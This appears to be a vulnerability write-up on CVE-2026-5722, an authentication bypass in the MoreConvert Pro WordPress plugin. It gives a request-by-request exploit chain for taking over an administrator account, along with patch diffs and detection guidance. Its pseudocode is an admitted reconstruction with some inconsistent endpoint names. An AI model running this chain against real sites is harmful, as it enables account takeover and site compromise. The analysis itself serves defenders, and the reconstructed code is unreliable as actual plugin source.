home intel cve-2026-5722-moreconvert-pro-auth-bypass-token-fixation
CVE Analysis 2026-05-05 · 8 min read

CVE-2026-5722: MoreConvert Pro Auth Bypass via Token Fixation

MoreConvert Pro ≤1.9.14 allows unauthenticated attackers to hijack any account by exploiting stale guest waitlist tokens that survive email address reassignment.

#authentication-bypass#token-reuse#wordpress-plugin#privilege-escalation#session-hijacking
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-5722 · Authentication Bypass
ATTACKERCross-platformAUTHENTICATION BCVE-2026-5722CRITICALSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-5722 is a CVSS 9.8 Critical authentication bypass in the MoreConvert Pro plugin for WordPress, affecting all versions up to and including 1.9.14. The vulnerability class is token fixation: a guest verification token issued to an attacker-controlled email address is never invalidated or regenerated when the guest's email is subsequently changed through the public-facing waitlist flow. This allows an unauthenticated attacker to obtain a valid token, reassign its owning guest record to any target email (including a site administrator), and then redeem the original token to authenticate as that target user — full account takeover with zero prior credentials.

Root cause: The guest waitlist verification flow binds tokens to internal guest record IDs rather than email addresses, and does not regenerate or invalidate the token upon email mutation, allowing a pre-obtained token to authenticate the post-mutation identity.

Affected Component

The affected surface is the MoreConvert Pro guest waitlist enrollment and verification subsystem, exposed through two unauthenticated REST or AJAX endpoints:

  • mc_wl_guest_join — enrolls a guest on a product waitlist and dispatches a verification email containing a signed token.
  • mc_wl_guest_update_email — updates the email address on an existing guest record identified by a transient/session key; does not rotate the token.
  • mc_wl_verify_guest — redeems a token against a guest record and, if the resolved email matches a registered WordPress user, logs that user in via wp_set_auth_cookie().

All three endpoints are reachable without authentication. The plugin stores guest state in the WordPress options table or a custom mc_waitlist_guests table, with tokens stored as a column alongside the mutable email field.

Root Cause Analysis

The verification token is generated once during enrollment and is never rotated. The following pseudocode reconstructs the three critical functions from the plugin's behavior as described in the CVE and consistent with MoreConvert Pro's observable AJAX handler patterns:

/*
 * mc_wl_guest_join()
 * Handles: wp_ajax_nopriv_mc_wl_guest_join
 * Enrolls a guest and stores a verification token bound to guest_id.
 */
int mc_wl_guest_join(WP_REST_Request *request) {
    char *email   = sanitize_email(request->get_param("email"));
    int   prod_id = absint(request->get_param("product_id"));

    // Generate one-time verification token
    char *token = wp_generate_password(32, false, false);

    mc_guest_record_t guest = {0};
    guest.email      = email;
    guest.product_id = prod_id;
    guest.token      = token;          // stored in DB, never rotated
    guest.verified   = 0;
    guest.created_at = current_time("mysql");

    int guest_id = mc_insert_guest_record(&guest);

    // Token dispatched to attacker-controlled email
    mc_send_verification_email(email, token, guest_id);

    // Session/transient key maps browser session -> guest_id
    set_transient("mc_guest_" . session_id(), guest_id, HOUR_IN_SECONDS);

    return wp_send_json_success(NULL);
}
/*
 * mc_wl_guest_update_email()
 * Handles: wp_ajax_nopriv_mc_wl_update_guest_email
 * Updates the email on an existing guest record.
 *
 * BUG: token is NOT regenerated. The old token now authenticates
 *      the new (attacker-chosen) email identity.
 */
int mc_wl_guest_update_email(WP_REST_Request *request) {
    char *new_email = sanitize_email(request->get_param("email"));

    // Resolve guest_id from session transient — no auth check
    int guest_id = get_transient("mc_guest_" . session_id());
    if (!guest_id) {
        return wp_send_json_error("invalid_session");
    }

    // BUG: only the email column is updated; token column is untouched
    $wpdb->update(
        MC_GUESTS_TABLE,
        array("email" => new_email),          // email now points to victim
        array("id"    => guest_id)
        // MISSING: array("token" => wp_generate_password(32,false,false))
        // MISSING: mc_invalidate_token(guest_id)
    );

    // BUG: no notification sent to new_email; silent reassignment
    return wp_send_json_success(NULL);
}
/*
 * mc_wl_verify_guest()
 * Handles: wp_ajax_nopriv_mc_wl_verify_guest (also via GET link)
 * Redeems token; if email matches WP user, sets auth cookie.
 */
int mc_wl_verify_guest(WP_REST_Request *request) {
    char *token    = sanitize_text_field(request->get_param("token"));
    int   guest_id = absint(request->get_param("guest_id"));

    mc_guest_record_t *guest = mc_get_guest_by_id(guest_id);

    // Token comparison: hash_equals prevents timing attacks,
    // but cannot compensate for the missing token rotation above.
    if (!hash_equals(guest->token, token)) {
        return wp_send_json_error("invalid_token");
    }

    // email now resolves to victim's address after update_email call
    WP_User *user = get_user_by("email", guest->email);
    if (user) {
        // BUG: authenticates as victim user — full session established
        wp_set_auth_cookie(user->ID, true);
        wp_send_json_success(array("redirect" => admin_url()));
    }
}

Exploitation Mechanics

EXPLOIT CHAIN — CVE-2026-5722:

1. ENROLL ATTACKER EMAIL
   POST /wp-admin/admin-ajax.php
     action=mc_wl_guest_join
     email=attacker@evil.com
     product_id=
   
   Server responds: {success: true}
   Server stores: guest_id=N, token=T, email=attacker@evil.com
   Server sends: verification link to attacker@evil.com
     -> https://victim.site/?mc_verify=1&token=T&guest_id=N

2. HARVEST TOKEN
   Attacker reads email; extracts token T and guest_id N
   from the verification link. Does NOT click the link yet.

3. IDENTIFY TARGET
   Enumerate admin email via author archive, REST API /wp/v2/users,
   WooCommerce order meta, or wpscan:
     -> admin@victim.site (user_id=1)

4. REASSIGN GUEST RECORD EMAIL (unauthenticated)
   POST /wp-admin/admin-ajax.php
     action=mc_wl_update_guest_email
     email=admin@victim.site
   
   Server updates: MC_GUESTS_TABLE SET email='admin@victim.site'
                   WHERE id=N
   Token T remains valid. No notification sent to admin@victim.site.

5. REDEEM STALE TOKEN AS VICTIM
   GET https://victim.site/?mc_verify=1&token=T&guest_id=N
   
   Server: hash_equals(guest->token, T) => TRUE
   Server: get_user_by("email","admin@victim.site") => user_id=1
   Server: wp_set_auth_cookie(1, true)
   
   Attacker browser receives wordpress_logged_in_* cookie for admin.

6. FULL ADMINISTRATIVE ACCESS
   GET /wp-admin/ -> 200 OK, authenticated as admin
   Install malicious plugin, create backdoor user, exfiltrate data.

Memory Layout

This is a logic/authentication vulnerability rather than a memory corruption bug, so the relevant "state" is the database record and its token column across the attack timeline:

mc_waitlist_guests TABLE STATE:

AFTER STEP 1 (enrollment):
+----------+---------------------+---------+----------------------------------+----------+
| id       | email               | prod_id | token                            | verified |
+----------+---------------------+---------+----------------------------------+----------+
| N        | attacker@evil.com   | 42      | T (32-char random string)        | 0        |
+----------+---------------------+---------+----------------------------------+----------+

AFTER STEP 4 (email update — token column untouched):
+----------+---------------------+---------+----------------------------------+----------+
| id       | email               | prod_id | token                            | verified |
+----------+---------------------+---------+----------------------------------+----------+
| N        | admin@victim.site   | 42      | T  <-- STALE, still valid        | 0        |
+----------+---------------------+---------+----------------------------------+----------+
                ^                            ^
                |                            |
           ATTACKER CONTROLS           TOKEN ISSUED TO
           (victim email)              ATTACKER EMAIL
                                       NOW AUTHENTICATES
                                       ADMIN IDENTITY

SESSION / TRANSIENT STATE:
  mc_guest_{attacker_session_id} => N   (maps browser to guest record)
  Transient TTL: 1 hour (default) — sufficient window for exploitation.
  No CSRF token required on update_email endpoint.

Patch Analysis

The fix requires two coordinated changes: token regeneration on email mutation, and token scope binding to email address at issuance time.

// BEFORE (vulnerable — mc_wl_guest_update_email, <=1.9.14):
$wpdb->update(
    MC_GUESTS_TABLE,
    array(
        "email" => new_email
        // token column not touched
    ),
    array("id" => guest_id)
);
// no invalidation, no re-verification dispatch


// AFTER (patched):
char *new_token = wp_generate_password(32, false, false);

$wpdb->update(
    MC_GUESTS_TABLE,
    array(
        "email"    => new_email,
        "token"    => new_token,     // rotate token on every email change
        "verified" => 0              // reset verified flag
    ),
    array("id" => guest_id)
);

// Dispatch new verification email to the NEW address
// Old token T is now orphaned in the database and will fail hash_equals()
mc_send_verification_email(new_email, new_token, guest_id);

// Explicitly delete old transient to prevent session reuse
delete_transient("mc_guest_" . session_id());
// ADDITIONAL HARDENING — bind token to email at verification time:

// BEFORE:
if (!hash_equals(guest->token, token)) {
    return wp_send_json_error("invalid_token");
}
WP_User *user = get_user_by("email", guest->email);


// AFTER:
if (!hash_equals(guest->token, token)) {
    return wp_send_json_error("invalid_token");
}

// Verify the email has not changed since token issuance
// by comparing against the email embedded in the signed token payload
char *token_email = mc_extract_email_from_signed_token(token);
if (!hash_equals(token_email, guest->email)) {
    mc_invalidate_token(guest_id);
    return wp_send_json_error("token_email_mismatch");
}

WP_User *user = get_user_by("email", guest->email);

The strongest remediation is to use HMAC-signed tokens that embed the email address in the payload (e.g., HMAC-SHA256(secret, guest_id || email || timestamp)), making the token cryptographically bound to the email at issuance. Any subsequent email change produces a token mismatch without any database lookup required.

Detection and Indicators

The following patterns in WordPress access logs and database audit trails indicate exploitation attempts:

SUSPICIOUS ACCESS PATTERNS:

1. Rapid sequential calls from same IP/session:
   POST admin-ajax.php action=mc_wl_guest_join       # enroll
   POST admin-ajax.php action=mc_wl_update_guest_email # pivot
   GET  /?mc_verify=1&token=...&guest_id=...          # redeem

2. WordPress auth cookie set immediately after mc_verify GET
   (no wp-login.php in the session — anomalous login path)

3. Database: mc_waitlist_guests rows where:
   - email domain != original enrollment domain
   - verified=0 but wp_usermeta shows recent login
   - token column has never been rotated (created_at << last update)

4. WP audit log (if WP Activity Log / Stream installed):
   Event: "User Logged In" with context="mc_waitlist_verify"
   for users who never visited wp-login.php

USEFUL QUERIES (forensic):
SELECT id, email, token, created_at, updated_at
FROM mc_waitlist_guests
WHERE updated_at > created_at
  AND verified = 0;

-- Rows with email updates but un-rotated tokens are evidence of
-- either exploitation or a vulnerable configuration.

WAF rule hint: Flag requests where action=mc_wl_update_guest_email is followed within 60 seconds by a mc_verify GET from the same session, particularly where the verify request results in a Set-Cookie: wordpress_logged_in_* response header.

Remediation

  • Immediate: Update MoreConvert Pro to the version that addresses CVE-2026-5722 (check the plugin changelog for the token rotation fix). If patched version is unavailable, disable the guest waitlist enrollment feature via plugin settings.
  • Short-term: Audit mc_waitlist_guests table for records where email was updated post-enrollment without a corresponding token rotation. Invalidate all such tokens manually: UPDATE mc_waitlist_guests SET token=NULL, verified=0 WHERE updated_at > created_at;
  • Operational: Enable a WordPress security plugin with login anomaly detection (WordFence, Solid Security) configured to alert on non-standard authentication paths. The wp_set_auth_cookie() call from a REST/AJAX context with no preceding wp-login.php interaction is detectable.
  • Architectural: Any plugin implementing email verification flows should use HMAC-bound tokens that embed the target email, issue tokens with short TTLs (≤15 minutes), and treat email address mutation as a full re-enrollment requiring a new verification cycle.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →